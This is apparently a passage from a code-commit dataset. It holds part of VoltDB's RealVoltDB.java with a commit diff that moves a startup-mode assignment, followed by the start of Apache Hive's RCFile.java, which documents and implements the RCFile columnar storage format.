public void setDurabilityUniqueIdListener(Integer partition, DurableUniqueIdListener listener) {
if (partition == MpInitiator.MP_INIT_PID) {
m_iv2Initiators.get(m_iv2Initiators.firstKey()).setDurableUniqueIdListener(listener);
}
else {
Initiator init = m_iv2Initiators.get(partition);
assert init != null;
init.setDurableUniqueIdListener(listener);
}
}
public ExecutionEngine debugGetSpiedEE(int partitionId) {
if (m_config.m_backend == BackendTarget.NATIVE_EE_SPY_JNI) {
BaseInitiator init = (BaseInitiator)m_iv2Initiators.get(partitionId);
return init.debugGetSpiedEE();
}
else {
return null;
}
}
@Override
public SiteTracker getSiteTrackerForSnapshot()
{
return new SiteTracker(m_messenger.getHostId(), m_cartographer.getSiteTrackerMailboxMap(), 0);
}
/**
* Create default deployment.xml file in voltdbroot if the deployment path is null.
*
* @return path to default deployment file
* @throws IOException
*/
static String setupDefaultDeployment(VoltLogger logger) throws IOException {
return setupDefaultDeployment(logger, CatalogUtil.getVoltDbRoot(null));
}
/**
* Create default deployment.xml file in voltdbroot if the deployment path is null.
*
* @return pathto default deployment file
* @throws IOException
*/
static String setupDefaultDeployment(VoltLogger logger, File voltdbroot) throws IOException {
File configInfoDir = new VoltFile(voltdbroot, VoltDB.CONFIG_DIR);
configInfoDir.mkdirs();
File depFH = new VoltFile(configInfoDir, "deployment.xml");
if (!depFH.exists()) {
logger.info("Generating default deployment file \"" + depFH.getAbsolutePath() + "\"");
try (BufferedWriter bw = new BufferedWriter(new FileWriter(depFH))) {
for (String line : defaultDeploymentXML) {
bw.write(line);
bw.newLine();
}
} finally {
}
}
return depFH.getAbsolutePath();
}
/*
* Validate the build string with the rest of the cluster
* by racing to publish it to ZK and then comparing the one this process
* has to the one in ZK. They should all match. The method returns a future
* so that init can continue while the ZK call is pending since it ZK is pretty
* slow.
*/
private Future<?> validateBuildString(final String buildString, ZooKeeper zk) {
final SettableFuture<Object> retval = SettableFuture.create();
byte buildStringBytes[] = null;
try {
buildStringBytes = buildString.getBytes("UTF-8");
} catch (UnsupportedEncodingException e) {
throw new AssertionError(e);
}
final byte buildStringBytesFinal[] = buildStringBytes;
//Can use a void callback because ZK will execute the create and then the get in order
//It's a race so it doesn't have to succeed
zk.create(
VoltZK.buildstring,
buildStringBytes,
Ids.OPEN_ACL_UNSAFE,
CreateMode.PERSISTENT,
new ZKUtil.StringCallback(),
null);
zk.getData(VoltZK.buildstring, false, new org.apache.zookeeper_voltpatches.AsyncCallback.DataCallback() {
@Override
public void processResult(int rc, String path, Object ctx,
byte[] data, Stat stat) {
KeeperException.Code code = KeeperException.Code.get(rc);
if (code == KeeperException.Code.OK) {
if (Arrays.equals(buildStringBytesFinal, data)) {
retval.set(null);
} else {
try {
hostLog.info("Different but compatible software versions on the cluster " +
"and the rejoining node. Cluster version is {" + (new String(data, "UTF-8")).split("_")[0] +
"}. Rejoining node version is {" + m_defaultVersionString + "}.");
retval.set(null);
} catch (UnsupportedEncodingException e) {
retval.setException(new AssertionError(e));
}
}
} else {
retval.setException(KeeperException.create(code));
}
}
}, null);
return retval;
}
/**
* See comment on {@link VoltDBInterface#schedulePriorityWork(Runnable, long, long, TimeUnit)} vs
* {@link VoltDBInterface#scheduleWork(Runnable, long, long, TimeUnit)}
*/
@Override
public ScheduledFuture<?> schedulePriorityWork(Runnable work,
long initialDelay,
long delay,
TimeUnit unit) {
if (delay > 0) {
return m_periodicPriorityWorkThread.scheduleWithFixedDelay(work,
initialDelay, delay,
unit);
} else {
return m_periodicPriorityWorkThread.schedule(work, initialDelay, unit);
}
}
private void checkHeapSanity(boolean isPro, int tableCount, int sitesPerHost, int kfactor)
{
long megabytes = 1024 * 1024;
long maxMemory = Runtime.getRuntime().maxMemory() / megabytes;
// DRv2 now is off heap
long crazyThresh = computeMinimumHeapRqt(isPro, tableCount, sitesPerHost, kfactor);
if (maxMemory < crazyThresh) {
StringBuilder builder = new StringBuilder();
builder.append(String.format("The configuration of %d tables, %d sites-per-host, and k-factor of %d requires at least %d MB of Java heap memory. ", tableCount, sitesPerHost, kfactor, crazyThresh));
builder.append(String.format("The maximum amount of heap memory available to the JVM is %d MB. ", maxMemory));
builder.append("Please increase the maximum heap size using the VOLTDB_HEAPMAX environment variable and then restart VoltDB.");
consoleLog.warn(builder.toString());
}
}
// Compute the minimum required heap to run this configuration. This comes from the documentation,
// http://voltdb.com/docs/PlanningGuide/MemSizeServers.php#MemSizeHeapGuidelines
// Any changes there should get reflected here and vice versa.
static public long computeMinimumHeapRqt(boolean isPro, int tableCount, int sitesPerHost, int kfactor)
{
long baseRqt = 384;
long tableRqt = 10 * tableCount;
// K-safety Heap consumption drop to 8 MB (per node)
// Snapshot cost 32 MB (per node)
// Theoretically, 40 MB (per node) should be enough
long rejoinRqt = (isPro && kfactor > 0) ? 128 * sitesPerHost : 0;
return baseRqt + tableRqt + rejoinRqt;
}
private void checkThreadsSanity() {
int tableCount = m_catalogContext.tables.size();
int partitions = m_iv2Initiators.size() - 1;
int replicates = m_configuredReplicationFactor;
int importPartitions = ImportManager.getPartitionsCount();
int exportTableCount = ExportManager.instance().getExportTablesCount();
int exportNonceCount = ExportManager.instance().getConnCount();
int expThreadsCount = computeThreadsCount(tableCount, partitions, replicates, importPartitions, exportTableCount, exportNonceCount);
// if the expected number of threads exceeds the limit, update the limit.
if (m_maxThreadsCount < expThreadsCount) {
updateMaxThreadsLimit();
}
// do insane check again.
if (m_maxThreadsCount < expThreadsCount) {
StringBuilder builder = new StringBuilder();
builder.append(String.format("The configuration of %d tables, %d partitions, %d replicates, ", tableCount, partitions, replicates));
builder.append(String.format("with importer configuration of %d importer partitions, ", importPartitions));
builder.append(String.format("with exporter configuration of %d export tables %d partitions %d replicates, ", exportTableCount, partitions, replicates));
builder.append(String.format("approximately requires %d threads.", expThreadsCount));
builder.append(String.format("The maximum number of threads to the system is %d. \n", m_maxThreadsCount));
builder.append("Please increase the maximum system threads number or reduce the number of threads in your program, and then restart VoltDB. \n");
consoleLog.warn(builder.toString());
}
}
private void updateMaxThreadsLimit() {
String[] command = {"bash", "-c" ,"ulimit -u"};
String cmd_rst = ShellTools.local_cmd(command);
try {
m_maxThreadsCount = Integer.parseInt(cmd_rst.substring(0, cmd_rst.length() - 1));
} catch(Exception e) {
m_maxThreadsCount = Integer.MAX_VALUE;
}
}
private int computeThreadsCount(int tableCount, int partitionCount, int replicateCount, int importerPartitionCount, int exportTableCount, int exportNonceCount) {
final int clusterBaseCount = 5;
final int hostBaseCount = 56;
return clusterBaseCount + (hostBaseCount + partitionCount)
+ computeImporterThreads(importerPartitionCount)
+ computeExporterThreads(exportTableCount, partitionCount, replicateCount, exportNonceCount);
}
private int computeImporterThreads(int importerPartitionCount) {
if (importerPartitionCount == 0) {
return 0;
}
int importerBaseCount = 6;
return importerBaseCount + importerPartitionCount;
}
private int computeExporterThreads(int exportTableCount, int partitionCount, int replicateCount, int exportNonceCount) {
if (exportTableCount == 0) {
return 0;
}
int exporterBaseCount = 1;
return exporterBaseCount + partitionCount * exportTableCount + exportNonceCount;
}
@Override
public <T> ListenableFuture<T> submitSnapshotIOWork(Callable<T> work)
{
assert m_snapshotIOAgent != null;
return m_snapshotIOAgent.submit(work);
}
@Override
public long getClusterUptime()
{
return System.currentTimeMillis() - getHostMessenger().getInstanceId().getTimestamp();
}
@Override
public long getClusterCreateTime()
{
return m_clusterCreateTime;
}
@Override
public void setClusterCreateTime(long clusterCreateTime) {
m_clusterCreateTime = clusterCreateTime;
hostLog.info("The internal DR cluster timestamp being restored from a snapshot is " +
new Date(m_clusterCreateTime).toString() + ".");
}
}
| ENG-11249: Assign m_mode to m_startMode after rejoin/recover/create c… (#3982)
* ENG-11249: Assign m_mode to m_startMode after rejoin/recover/create completes so that commandlog replay will see the mode as initializing and skip mispartitioned transactions being replayed.
* ENG-11249: Centralize the m_mode assignment to onRestoreCompletion as it was before. It assumes that PAUSE mode won't affect the asynchronous rejoin process but since all the rejoin work is done by internal clients, PAUSE mode should not prevent the rejoin and elastic join from completing.
* ENG-11249: Remove dead code because m_join is always reset
| src/frontend/org/voltdb/RealVoltDB.java | ENG-11249: Assign m_mode to m_startMode after rejoin/recover/create c… (#3982) | <ide><path>rc/frontend/org/voltdb/RealVoltDB.java
<ide> }
<ide> if (m_messenger.isPaused() || m_config.m_isPaused) {
<ide> setStartMode(OperationMode.PAUSED);
<del> setMode(OperationMode.PAUSED);
<ide> }
<ide>
<ide> // Create the thread pool here. It's needed by buildClusterMesh()
<ide> final long delta = ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000);
<ide> final long megabytes = m_executionSiteRecoveryTransferred / (1024 * 1024);
<ide> final double megabytesPerSecond = megabytes / ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000.0);
<add>
<ide> if (m_clientInterface != null) {
<ide> m_clientInterface.mayActivateSnapshotDaemon();
<ide> try {
<ide> VoltDB.crashLocalVoltDB("Unable to log host rejoin completion to ZK", true, e);
<ide> }
<ide> hostLog.info("Logging host rejoin completion to ZK");
<del> if (!m_joining) {
<del> m_statusTracker.setNodeState(NodeState.UP);
<del> Object args[] = { (VoltDB.instance().getMode() == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
<del> consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
<del> consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
<del> }
<add> m_statusTracker.setNodeState(NodeState.UP);
<add> Object args[] = { (VoltDB.instance().getMode() == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
<add> consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
<add> consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
<ide> }
<ide>
<ide> @Override
<ide> m_leaderAppointer.onReplayCompletion();
<ide> }
<ide>
<add> if (m_startMode != null) {
<add> m_mode = m_startMode;
<add> } else {
<add> // Shouldn't be here, but to be safe
<add> m_mode = OperationMode.RUNNING;
<add> }
<add>
<ide> if (!m_rejoining && !m_joining) {
<ide> if (m_clientInterface != null) {
<ide> try {
<ide> } catch (Exception e) {
<ide> hostLog.l7dlog(Level.FATAL, LogKeys.host_VoltDB_ErrorStartHTTPListener.name(), e);
<ide> VoltDB.crashLocalVoltDB("HTTP service unable to bind to port.", true, e);
<del> }
<del>
<del> if (m_startMode != null) {
<del> m_mode = m_startMode;
<del> } else {
<del> // Shouldn't be here, but to be safe
<del> m_mode = OperationMode.RUNNING;
<ide> }
<ide> if (!m_rejoining && !m_joining) {
<ide> Object args[] = { (m_mode == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"}; |
|
Java | apache-2.0 | 4d7c619763a4d99978d520326d08e3b8eb8d0728 | 0 | b-slim/hive,jcamachor/hive,alanfgates/hive,nishantmonu51/hive,jcamachor/hive,nishantmonu51/hive,b-slim/hive,lirui-apache/hive,vergilchiu/hive,lirui-apache/hive,nishantmonu51/hive,b-slim/hive,lirui-apache/hive,vergilchiu/hive,sankarh/hive,vineetgarg02/hive,nishantmonu51/hive,jcamachor/hive,b-slim/hive,lirui-apache/hive,alanfgates/hive,lirui-apache/hive,alanfgates/hive,anishek/hive,alanfgates/hive,b-slim/hive,nishantmonu51/hive,alanfgates/hive,sankarh/hive,vergilchiu/hive,vineetgarg02/hive,alanfgates/hive,b-slim/hive,alanfgates/hive,b-slim/hive,jcamachor/hive,jcamachor/hive,anishek/hive,vineetgarg02/hive,nishantmonu51/hive,vineetgarg02/hive,vineetgarg02/hive,lirui-apache/hive,sankarh/hive,anishek/hive,nishantmonu51/hive,vergilchiu/hive,vergilchiu/hive,anishek/hive,sankarh/hive,anishek/hive,vergilchiu/hive,sankarh/hive,nishantmonu51/hive,lirui-apache/hive,sankarh/hive,vineetgarg02/hive,vineetgarg02/hive,anishek/hive,sankarh/hive,b-slim/hive,vineetgarg02/hive,anishek/hive,sankarh/hive,lirui-apache/hive,nishantmonu51/hive,sankarh/hive,vergilchiu/hive,b-slim/hive,anishek/hive,jcamachor/hive,jcamachor/hive,vineetgarg02/hive,lirui-apache/hive,anishek/hive,jcamachor/hive,vergilchiu/hive,vergilchiu/hive,alanfgates/hive,alanfgates/hive,jcamachor/hive | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hive.ql.io;
import java.io.DataInput;
import java.io.DataInputStream;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.rmi.server.UID;
import java.security.MessageDigest;
import java.util.Arrays;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.ChecksumException;
import org.apache.hadoop.fs.FSDataInputStream;
import org.apache.hadoop.fs.FSDataOutputStream;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.hive.conf.HiveConf;
import org.apache.hadoop.hive.serde2.ColumnProjectionUtils;
import org.apache.hadoop.hive.serde2.columnar.BytesRefArrayWritable;
import org.apache.hadoop.hive.serde2.columnar.BytesRefWritable;
import org.apache.hadoop.hive.serde2.columnar.LazyDecompressionCallback;
import org.apache.hadoop.hive.shims.ShimLoader;
import org.apache.hadoop.io.IOUtils;
import org.apache.hadoop.io.LongWritable;
import org.apache.hadoop.io.SequenceFile.Metadata;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.io.VersionMismatchException;
import org.apache.hadoop.io.Writable;
import org.apache.hadoop.io.WritableComparable;
import org.apache.hadoop.io.WritableUtils;
import org.apache.hadoop.io.compress.CompressionCodec;
import org.apache.hadoop.io.compress.CompressionInputStream;
import org.apache.hadoop.io.compress.CompressionOutputStream;
import org.apache.hadoop.io.compress.Compressor;
import org.apache.hadoop.io.compress.Decompressor;
import org.apache.hadoop.util.Progressable;
import org.apache.hadoop.util.ReflectionUtils;
/**
* <code>RCFile</code>s, short of Record Columnar File, are flat files
* consisting of binary key/value pairs, which shares much similarity with
* <code>SequenceFile</code>.
*
* RCFile stores columns of a table in a record columnar way. It first
* partitions rows horizontally into row splits. and then it vertically
* partitions each row split in a columnar way. RCFile first stores the meta
* data of a row split, as the key part of a record, and all the data of a row
* split as the value part. When writing, RCFile.Writer first holds records'
* value bytes in memory, and determines a row split if the raw bytes size of
* buffered records overflow a given parameter<tt>Writer.columnsBufferSize</tt>,
* which can be set like: <code>conf.setInt(COLUMNS_BUFFER_SIZE_CONF_STR,
4 * 1024 * 1024)</code> .
* <p>
* <code>RCFile</code> provides {@link Writer}, {@link Reader} and classes for
* writing, reading respectively.
* </p>
*
* <p>
* RCFile stores columns of a table in a record columnar way. It first
* partitions rows horizontally into row splits. and then it vertically
* partitions each row split in a columnar way. RCFile first stores the meta
* data of a row split, as the key part of a record, and all the data of a row
* split as the value part.
* </p>
*
* <p>
* RCFile compresses values in a more fine-grained manner then record level
* compression. However, It currently does not support compress the key part
* yet. The actual compression algorithm used to compress key and/or values can
* be specified by using the appropriate {@link CompressionCodec}.
* </p>
*
* <p>
* The {@link Reader} is used to read and explain the bytes of RCFile.
* </p>
*
* <h4 id="Formats">RCFile Formats</h4>
*
*
* <h5 id="Header">RC Header</h5>
* <ul>
* <li>version - 3 bytes of magic header <b>RCF</b>, followed by 1 byte of
* actual version number (e.g. RCF1)</li>
* <li>compression - A boolean which specifies if compression is turned on for
* keys/values in this file.</li>
* <li>compression codec - <code>CompressionCodec</code> class which is used
* for compression of keys and/or values (if compression is enabled).</li>
* <li>metadata - {@link Metadata} for this file.</li>
* <li>sync - A sync marker to denote end of the header.</li>
* </ul>
*
* <h5>RCFile Format</h5>
* <ul>
* <li><a href="#Header">Header</a></li>
* <li>Record
* <li>Key part
* <ul>
* <li>Record length in bytes</li>
* <li>Key length in bytes</li>
* <li>Number_of_rows_in_this_record(vint)</li>
* <li>Column_1_ondisk_length(vint)</li>
* <li>Column_1_row_1_value_plain_length</li>
* <li>Column_1_row_2_value_plain_length</li>
* <li>...</li>
* <li>Column_2_ondisk_length(vint)</li>
* <li>Column_2_row_1_value_plain_length</li>
* <li>Column_2_row_2_value_plain_length</li>
* <li>...</li>
* </ul>
* </li>
* </li>
* <li>Value part
* <ul>
* <li>Compressed or plain data of [column_1_row_1_value,
* column_1_row_2_value,....]</li>
* <li>Compressed or plain data of [column_2_row_1_value,
* column_2_row_2_value,....]</li>
* </ul>
* </li>
* </ul>
* <p>
* <pre>
* {@code
* The following is a pseudo-BNF grammar for RCFile. Comments are prefixed
* with dashes:
*
* rcfile ::=
* <file-header>
* <rcfile-rowgroup>+
*
* file-header ::=
* <file-version-header>
* <file-key-class-name> (only exists if version is seq6)
* <file-value-class-name> (only exists if version is seq6)
* <file-is-compressed>
* <file-is-block-compressed> (only exists if version is seq6)
* [<file-compression-codec-class>]
* <file-header-metadata>
* <file-sync-field>
*
* -- The normative RCFile implementation included with Hive is actually
* -- based on a modified version of Hadoop's SequenceFile code. Some
* -- things which should have been modified were not, including the code
* -- that writes out the file version header. Consequently, RCFile and
* -- SequenceFile originally shared the same version header. A newer
* -- release has created a unique version string.
*
* file-version-header ::= Byte[4] {'S', 'E', 'Q', 6}
* | Byte[4] {'R', 'C', 'F', 1}
*
* -- The name of the Java class responsible for reading the key buffer
* -- component of the rowgroup.
*
* file-key-class-name ::=
* Text {"org.apache.hadoop.hive.ql.io.RCFile$KeyBuffer"}
*
* -- The name of the Java class responsible for reading the value buffer
* -- component of the rowgroup.
*
* file-value-class-name ::=
* Text {"org.apache.hadoop.hive.ql.io.RCFile$ValueBuffer"}
*
* -- Boolean variable indicating whether or not the file uses compression
* -- for the key and column buffer sections.
*
* file-is-compressed ::= Byte[1]
*
* -- A boolean field indicating whether or not the file is block compressed.
* -- This field is *always* false. According to comments in the original
* -- RCFile implementation this field was retained for backwards
* -- compatability with the SequenceFile format.
*
* file-is-block-compressed ::= Byte[1] {false}
*
* -- The Java class name of the compression codec iff <file-is-compressed>
* -- is true. The named class must implement
* -- org.apache.hadoop.io.compress.CompressionCodec.
* -- The expected value is org.apache.hadoop.io.compress.GzipCodec.
*
* file-compression-codec-class ::= Text
*
* -- A collection of key-value pairs defining metadata values for the
* -- file. The Map is serialized using standard JDK serialization, i.e.
* -- an Int corresponding to the number of key-value pairs, followed by
* -- Text key and value pairs. The following metadata properties are
* -- mandatory for all RCFiles:
* --
* -- hive.io.rcfile.column.number: the number of columns in the RCFile
*
* file-header-metadata ::= Map<Text, Text>
*
* -- A 16 byte marker that is generated by the writer. This marker appears
* -- at regular intervals at the beginning of rowgroup-headers, and is
* -- intended to enable readers to skip over corrupted rowgroups.
*
* file-sync-hash ::= Byte[16]
*
* -- Each row group is split into three sections: a header, a set of
* -- key buffers, and a set of column buffers. The header section includes
* -- an optional sync hash, information about the size of the row group, and
* -- the total number of rows in the row group. Each key buffer
* -- consists of run-length encoding data which is used to decode
* -- the length and offsets of individual fields in the corresponding column
* -- buffer.
*
* rcfile-rowgroup ::=
* <rowgroup-header>
* <rowgroup-key-data>
* <rowgroup-column-buffers>
*
* rowgroup-header ::=
* [<rowgroup-sync-marker>, <rowgroup-sync-hash>]
* <rowgroup-record-length>
* <rowgroup-key-length>
* <rowgroup-compressed-key-length>
*
* -- rowgroup-key-data is compressed if the column data is compressed.
* rowgroup-key-data ::=
* <rowgroup-num-rows>
* <rowgroup-key-buffers>
*
* -- An integer (always -1) signaling the beginning of a sync-hash
* -- field.
*
* rowgroup-sync-marker ::= Int
*
* -- A 16 byte sync field. This must match the <file-sync-hash> value read
* -- in the file header.
*
* rowgroup-sync-hash ::= Byte[16]
*
* -- The record-length is the sum of the number of bytes used to store
* -- the key and column parts, i.e. it is the total length of the current
* -- rowgroup.
*
* rowgroup-record-length ::= Int
*
* -- Total length in bytes of the rowgroup's key sections.
*
* rowgroup-key-length ::= Int
*
* -- Total compressed length in bytes of the rowgroup's key sections.
*
* rowgroup-compressed-key-length ::= Int
*
* -- Number of rows in the current rowgroup.
*
* rowgroup-num-rows ::= VInt
*
* -- One or more column key buffers corresponding to each column
* -- in the RCFile.
*
* rowgroup-key-buffers ::= <rowgroup-key-buffer>+
*
* -- Data in each column buffer is stored using a run-length
* -- encoding scheme that is intended to reduce the cost of
* -- repeated column field values. This mechanism is described
* -- in more detail in the following entries.
*
* rowgroup-key-buffer ::=
* <column-buffer-length>
* <column-buffer-uncompressed-length>
* <column-key-buffer-length>
* <column-key-buffer>
*
* -- The serialized length on disk of the corresponding column buffer.
*
* column-buffer-length ::= VInt
*
* -- The uncompressed length of the corresponding column buffer. This
* -- is equivalent to column-buffer-length if the RCFile is not compressed.
*
* column-buffer-uncompressed-length ::= VInt
*
* -- The length in bytes of the current column key buffer
*
* column-key-buffer-length ::= VInt
*
* -- The column-key-buffer contains a sequence of serialized VInt values
* -- corresponding to the byte lengths of the serialized column fields
* -- in the corresponding rowgroup-column-buffer. For example, consider
* -- an integer column that contains the consecutive values 1, 2, 3, 44.
* -- The RCFile format stores these values as strings in the column buffer,
* -- e.g. "12344". The length of each column field is recorded in
* -- the column-key-buffer as a sequence of VInts: 1,1,1,2. However,
* -- if the same length occurs repeatedly, then we replace repeated
* -- run lengths with the complement (i.e. negative) of the number of
* -- repetitions, so 1,1,1,2 becomes 1,~2,2.
*
* column-key-buffer ::= Byte[column-key-buffer-length]
*
* rowgroup-column-buffers ::= <rowgroup-value-buffer>+
*
* -- RCFile stores all column data as strings regardless of the
* -- underlying column type. The strings are neither length-prefixed or
* -- null-terminated, and decoding them into individual fields requires
* -- the use of the run-length information contained in the corresponding
* -- column-key-buffer.
*
* rowgroup-column-buffer ::= Byte[column-buffer-length]
*
* Byte ::= An eight-bit byte
*
* VInt ::= Variable length integer. The high-order bit of each byte
* indicates whether more bytes remain to be read. The low-order seven
* bits are appended as increasingly more significant bits in the
* resulting integer value.
*
* Int ::= A four-byte integer in big-endian format.
*
* Text ::= VInt, Chars (Length prefixed UTF-8 characters)
* }
* </pre>
* </p>
*/
public class RCFile {
private static final Log LOG = LogFactory.getLog(RCFile.class);
public static final String RECORD_INTERVAL_CONF_STR = "hive.io.rcfile.record.interval";
public static final String COLUMN_NUMBER_METADATA_STR = "hive.io.rcfile.column.number";
public static final String COLUMN_NUMBER_CONF_STR = "hive.io.rcfile.column.number.conf";
public static final String TOLERATE_CORRUPTIONS_CONF_STR =
"hive.io.rcfile.tolerate.corruptions";
// HACK: We actually need BlockMissingException, but that is not available
// in all hadoop versions.
public static final String BLOCK_MISSING_MESSAGE =
"Could not obtain block";
// All of the versions should be place in this list.
private static final int ORIGINAL_VERSION = 0; // version with SEQ
private static final int NEW_MAGIC_VERSION = 1; // version with RCF
private static final int CURRENT_VERSION = NEW_MAGIC_VERSION;
// The first version of RCFile used the sequence file header.
private static final byte[] ORIGINAL_MAGIC = new byte[] {
(byte) 'S', (byte) 'E', (byte) 'Q'};
// the version that was included with the original magic, which is mapped
// into ORIGINAL_VERSION
private static final byte ORIGINAL_MAGIC_VERSION_WITH_METADATA = 6;
private static final byte[] ORIGINAL_MAGIC_VERSION = new byte[] {
(byte) 'S', (byte) 'E', (byte) 'Q', ORIGINAL_MAGIC_VERSION_WITH_METADATA
};
// The 'magic' bytes at the beginning of the RCFile
private static final byte[] MAGIC = new byte[] {
(byte) 'R', (byte) 'C', (byte) 'F'};
private static final int SYNC_ESCAPE = -1; // "length" of sync entries
private static final int SYNC_HASH_SIZE = 16; // number of bytes in hash
private static final int SYNC_SIZE = 4 + SYNC_HASH_SIZE; // escape + hash
/** The number of bytes between sync points. */
public static final int SYNC_INTERVAL = 100 * SYNC_SIZE;
/**
* KeyBuffer is the key of each record in RCFile. Its on-disk layout is as
* below:
*
* <ul>
* <li>record length in bytes,it is the sum of bytes used to store the key
* part and the value part.</li>
* <li>Key length in bytes, it is how many bytes used by the key part.</li>
* <li>number_of_rows_in_this_record(vint),</li>
* <li>column_1_ondisk_length(vint),</li>
* <li>column_1_row_1_value_plain_length,</li>
* <li>column_1_row_2_value_plain_length,</li>
* <li>....</li>
* <li>column_2_ondisk_length(vint),</li>
* <li>column_2_row_1_value_plain_length,</li>
* <li>column_2_row_2_value_plain_length,</li>
* <li>.... .</li>
* <li>{the end of the key part}</li>
* </ul>
*/
public static class KeyBuffer implements WritableComparable {
// each column's length in the value
private int[] eachColumnValueLen = null;
private int[] eachColumnUncompressedValueLen = null;
// stores each cell's length of a column in one DataOutputBuffer element
private NonSyncDataOutputBuffer[] allCellValLenBuffer = null;
// how many rows in this split
private int numberRows = 0;
// how many columns
private int columnNumber = 0;
// return the number of columns recorded in this file's header
public int getColumnNumber() {
return columnNumber;
}
@SuppressWarnings("unused")
@Deprecated
public KeyBuffer(){
}
KeyBuffer(int columnNum) {
columnNumber = columnNum;
eachColumnValueLen = new int[columnNumber];
eachColumnUncompressedValueLen = new int[columnNumber];
allCellValLenBuffer = new NonSyncDataOutputBuffer[columnNumber];
}
@SuppressWarnings("unused")
@Deprecated
KeyBuffer(int numberRows, int columnNum) {
this(columnNum);
this.numberRows = numberRows;
}
public void nullColumn(int columnIndex) {
eachColumnValueLen[columnIndex] = 0;
eachColumnUncompressedValueLen[columnIndex] = 0;
allCellValLenBuffer[columnIndex] = new NonSyncDataOutputBuffer();
}
/**
* add in a new column's meta data.
*
* @param columnValueLen
* this total bytes number of this column's values in this split
* @param colValLenBuffer
* each cell's length of this column's in this split
*/
void setColumnLenInfo(int columnValueLen,
NonSyncDataOutputBuffer colValLenBuffer,
int columnUncompressedValueLen, int columnIndex) {
eachColumnValueLen[columnIndex] = columnValueLen;
eachColumnUncompressedValueLen[columnIndex] = columnUncompressedValueLen;
allCellValLenBuffer[columnIndex] = colValLenBuffer;
}
@Override
public void readFields(DataInput in) throws IOException {
eachColumnValueLen = new int[columnNumber];
eachColumnUncompressedValueLen = new int[columnNumber];
allCellValLenBuffer = new NonSyncDataOutputBuffer[columnNumber];
numberRows = WritableUtils.readVInt(in);
for (int i = 0; i < columnNumber; i++) {
eachColumnValueLen[i] = WritableUtils.readVInt(in);
eachColumnUncompressedValueLen[i] = WritableUtils.readVInt(in);
int bufLen = WritableUtils.readVInt(in);
if (allCellValLenBuffer[i] == null) {
allCellValLenBuffer[i] = new NonSyncDataOutputBuffer();
} else {
allCellValLenBuffer[i].reset();
}
allCellValLenBuffer[i].write(in, bufLen);
}
}
@Override
public void write(DataOutput out) throws IOException {
// out.writeInt(numberRows);
WritableUtils.writeVLong(out, numberRows);
for (int i = 0; i < eachColumnValueLen.length; i++) {
WritableUtils.writeVLong(out, eachColumnValueLen[i]);
WritableUtils.writeVLong(out, eachColumnUncompressedValueLen[i]);
NonSyncDataOutputBuffer colRowsLenBuf = allCellValLenBuffer[i];
int bufLen = colRowsLenBuf.getLength();
WritableUtils.writeVLong(out, bufLen);
out.write(colRowsLenBuf.getData(), 0, bufLen);
}
}
/**
* get number of bytes to store the keyBuffer.
*
* @return number of bytes used to store this KeyBuffer on disk
* @throws IOException
*/
public int getSize() throws IOException {
int ret = 0;
ret += WritableUtils.getVIntSize(numberRows);
for (int i = 0; i < eachColumnValueLen.length; i++) {
ret += WritableUtils.getVIntSize(eachColumnValueLen[i]);
ret += WritableUtils.getVIntSize(eachColumnUncompressedValueLen[i]);
ret += WritableUtils.getVIntSize(allCellValLenBuffer[i].getLength());
ret += allCellValLenBuffer[i].getLength();
}
return ret;
}
@Override
public int compareTo(Object arg0) {
throw new RuntimeException("compareTo not supported in class "
+ this.getClass().getName());
}
public int[] getEachColumnUncompressedValueLen() {
return eachColumnUncompressedValueLen;
}
public int[] getEachColumnValueLen() {
return eachColumnValueLen;
}
/**
* @return the numberRows
*/
public int getNumberRows() {
return numberRows;
}
}
/**
* ValueBuffer is the value of each record in RCFile. Its on-disk layout is as
* below:
* <ul>
* <li>Compressed or plain data of [column_1_row_1_value,
* column_1_row_2_value,....]</li>
* <li>Compressed or plain data of [column_2_row_1_value,
* column_2_row_2_value,....]</li>
* </ul>
*/
public static class ValueBuffer implements WritableComparable {
class LazyDecompressionCallbackImpl implements LazyDecompressionCallback {
int index = -1;
int colIndex = -1;
public LazyDecompressionCallbackImpl(int index, int colIndex) {
super();
this.index = index;
this.colIndex = colIndex;
}
@Override
public byte[] decompress() throws IOException {
if (decompressedFlag[index] || codec == null) {
return loadedColumnsValueBuffer[index].getData();
}
NonSyncDataOutputBuffer compressedData = compressedColumnsValueBuffer[index];
decompressBuffer.reset();
DataInputStream valueIn = new DataInputStream(deflatFilter);
deflatFilter.resetState();
if (deflatFilter instanceof SchemaAwareCompressionInputStream) {
((SchemaAwareCompressionInputStream)deflatFilter).setColumnIndex(colIndex);
}
decompressBuffer.reset(compressedData.getData(),
keyBuffer.eachColumnValueLen[colIndex]);
NonSyncDataOutputBuffer decompressedColBuf = loadedColumnsValueBuffer[index];
decompressedColBuf.reset();
decompressedColBuf.write(valueIn,
keyBuffer.eachColumnUncompressedValueLen[colIndex]);
decompressedFlag[index] = true;
numCompressed--;
return decompressedColBuf.getData();
}
}
// used to load columns' value into memory
private NonSyncDataOutputBuffer[] loadedColumnsValueBuffer = null;
private NonSyncDataOutputBuffer[] compressedColumnsValueBuffer = null;
